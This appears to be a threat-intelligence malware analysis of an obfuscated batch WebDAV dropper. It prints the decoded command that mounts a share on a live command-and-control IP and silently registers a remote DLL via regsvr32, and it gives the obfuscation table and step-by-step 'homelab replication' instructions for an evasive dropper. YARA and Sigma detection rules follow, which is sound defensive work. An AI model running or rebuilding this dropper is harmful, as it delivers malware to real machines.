unclassified-js-webdav-dropper: 434c5214 — natural-language batch variant, expanded word-salad padding

Executive Summary

Pure-batch WebDAV dropper using natural-language SET variable-name obfuscation (36 three-word English compound phrases) and ~185 lines of leading word-salad noise. Decoys with color f0 && start wordpad, then spawns PowerShell to mount \\45.9.74.36@8888\davwwwroot\ and silently register 25385140064632.dll via regsvr32 /s. Sixty-first confirmed sibling in the unclassified-js-webdav-dropper cluster. Static-only (batch script, no CAPE detonation support).

What It Is

The sample is a pure batch script (not a JScript/batch polyglot). Execution begins at the :twist label after skipping ~185 lines of natural-language noise padding. ^[strings.txt:1-15]

How It Works

Obfuscation engine

Thirty-six SET assignments on a single &&-chained line map long three-word English compound phrases to single characters: ^[strings.txt:16]

set zanyfuturisticdivide=t
set hatestimulatingtooth=s
set vestplausibleheat=q
set toybizarreplausible=r
set parallelhospitalburly=y
set glassglowexclusive=i
set picayunestagecondition=j
set penciloverwroughtrot=9
set detectdaycrooked=b
set fowlfoamybeg=h
set annoyedplanesdamp=w
set jeansquiltguide=n
set curtainshybeg=a
set castviewspell=e
set bridgehurryfoamy=m
set fangplaterat=f
set carefulsqueezespectacular=p
set murderkindlyknowledgeable=v
set continuewaitinglie=x
set wantborrowstanding=z
set mundaneapparatusplug=5
set recordnoiseticket=3
set fairenchantingdebonair=d
set stickylistclumsy=l
set wittylowlyyard=1
set approvalhulkingrule=g
set bucketvacationdraconian=o
set cardskistrong=4
set horriblevesselparty=2
set amazingunarmedamused=0
set abhorrentdadbroad=8
set trustgroanmellow=u
set credittanklush=c
set unpackmilkypin=7
set furrymarriedlist=k
set trashychildrenrabid=6

The decoded command line expands %VAR% tokens via batch variable substitution: ^[strings.txt:17-19]

color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\25385140064632.dll
exit

Execution chain

1. color f0 — sets console background to white-on-black (benign-looking).
2. start wordpad — launches WordPad as a visual decoy. ^[strings.txt:17]
3. start powershell.exe -windowstyle hidden ... — spawns PowerShell in a hidden window. ^[strings.txt:18]
4. net use \\45.9.74.36@8888\davwwwroot\ — mounts the remote WebDAV share. ^[strings.txt:18]
5. regsvr32 /s \\45.9.74.36@8888\davwwwroot\25385140064632.dll — silently registers the remote DLL. ^[strings.txt:18]
6. exit — terminates the batch script. ^[strings.txt:19]

No persistence mechanism is observed. No sandbox gate, no anti-debug, no VM detection. One-shot execution.

Padding

~185 lines of natural-language word-salad noise precede the :twist label. The noise consists of semantically unrelated English adjectives, nouns, and verbs arranged in short phrases. This padding inflates the file to 14.6 KB and breaks naive line-based signature matching. ^[strings.txt:1-15]

C2 Infrastructure

Same C2 IP as siblings ffd5d894, e9e82d14, f170f5a9, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, 9bea44f4, a1b6e36f, 682bea06, 6e5e5715, 509090e9, 7015b169, 4f20ce5f, 5e170f1b, and 420bd100. ^[entities/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• Same C2, new payload filename: 25385140064632.dll has not been observed in any prior sibling. The DLL naming convention remains a numeric string with no obvious pattern.
• Natural-language variable names: Unlike the random-noise dialect (7015b169, 4f20ce5f) or shared-prefix dialect (e777fd64), this variant uses grammatically coherent three-word English phrases (zanyfuturisticdivide, hatestimulatingtooth, murderkindlyknowledgeable).
• Expanded padding: The ~185 lines of leading noise match the padding volume observed in sibling a1b6e36f (~185 lines before :drunk label), suggesting a shared generation tool or copy-paste template.
• No goto label complexity: The :twist label is a simple jump target; some siblings use more thematic labels (:minister, :tax, :basketball).
• No polyglot layer: Unlike da58243c or 6f1d7c74, this sample is pure batch — no JScript self-replication, no WScript.Shell.Run staging.

How To Mess With It (Homelab Replication)

Goal: Reproduce a batch WebDAV dropper with natural-language SET obfuscation that evades naive string matching.

Toolchain: Any text editor + Windows cmd.exe.

Steps:

1. Choose 36 grammatically plausible three-word English phrases (e.g., brightsunnyday, quickbrownfox).
2. Map each phrase to a single character or digit needed for your payload command.
3. Write the SET line as a single &&-chained statement.
4. Add 150–200 lines of random English word-salad noise before the execution label.
5. Decode the command via %VAR% expansion:

   start powershell.exe -windowstyle hidden net use \\YOUR_C2@8888\davwwwroot\ ; regsvr32 /s \\YOUR_C2@8888\davwwwroot\payload.dll
   

6. Test on a Windows VM with a local WebDAV server (e.g., IIS with DAV enabled, or wsgidav).

What you learn: How trivial batch variable expansion defeats static string extraction, and why process-creation telemetry (ParentImage→ChildImage chains) is more reliable than file-content scanning for script droppers.

Deployable Signatures

YARA rule

rule webdav_batch_dropper_natural_language_set
{
    meta:
        description = "Batch WebDAV dropper with natural-language SET obfuscation"
        author = "Titus / PacketPursuit"
        date = "2026-07-13"
        reference = "/intel/analyses/434c52140b345657e82d139c83fd924ae4a6d09673401bbb632847adafa8cbd8.html"

    strings:
        $set_pattern = /set [a-z]{15,35}=[a-z0-9]&&set [a-z]{15,35}=[a-z0-9]/
        $webdav = "\\davwwwroot\\" ascii wide
        $regsvr = "regsvr32 /s" ascii wide
        $netuse = "net use" ascii wide
        $ps_hidden = "powershell.exe -windowstyle hidden" ascii wide

    condition:
        filesize < 30KB and
        #set_pattern >= 5 and
        $webdav and
        ($regsvr or $netuse or $ps_hidden)
}

Sigma rule

title: WebDAV Batch Dropper Execution
status: experimental
description: Detects batch script spawning PowerShell to mount WebDAV and register remote DLL
logsource:
    category: process_creation
    product: windows
detection:
    selection_ps:
        Image|endswith: '\powershell.exe'
        CommandLine|contains:
            - 'net use'
            - 'davwwwroot'
    selection_regsvr:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: '\\'
    selection_parent:
        ParentImage|endswith: '\cmd.exe'
        ParentCommandLine|contains:
            - '.bat'
            - '.cmd'
    condition: (selection_ps and selection_regsvr) or (selection_parent and selection_ps)
falsepositives:
    - Legitimate IT automation scripts using WebDAV
level: high

IOC list

Behavioral fingerprint

This batch script contains 36 or more SET variable assignments with natural-language three-word English compound phrase names (15–35 characters each), followed by a color f0 && start wordpad decoy, then a start powershell.exe -windowstyle hidden wrapper that executes net use to mount a WebDAV share at \\host@8888\davwwwroot\ and regsvr32 /s to silently register a numeric-filename DLL from that share. No persistence, no sandbox gate, no anti-analysis. Leading word-salad padding of 150–200 lines is common.

Detection Signatures

References

• unclassified-js-webdav-dropper — Family entity page with full sibling list and cluster analysis.
• webdav-regsvr32-dll-sideloading — Technique page for the WebDAV + regsvr32 execution chain.
• batch-powershell-variable-expansion-obfuscation — Generic technique page for SET fragmentation.

Provenance

• file.txt — file(1) output, triage pipeline
• strings.txt — full string extraction via strings -a -n 4
• metadata.json — artifact metadata from OpenCTI connector
• triage.json — triage classification (tier: deep, family: null)
• dynamic-analysis.md — CAPE skipped (ASCII text, not a supported binary class)
• No capa, floss, binwalk, rabin2, or Ghidra output (batch script, not a PE)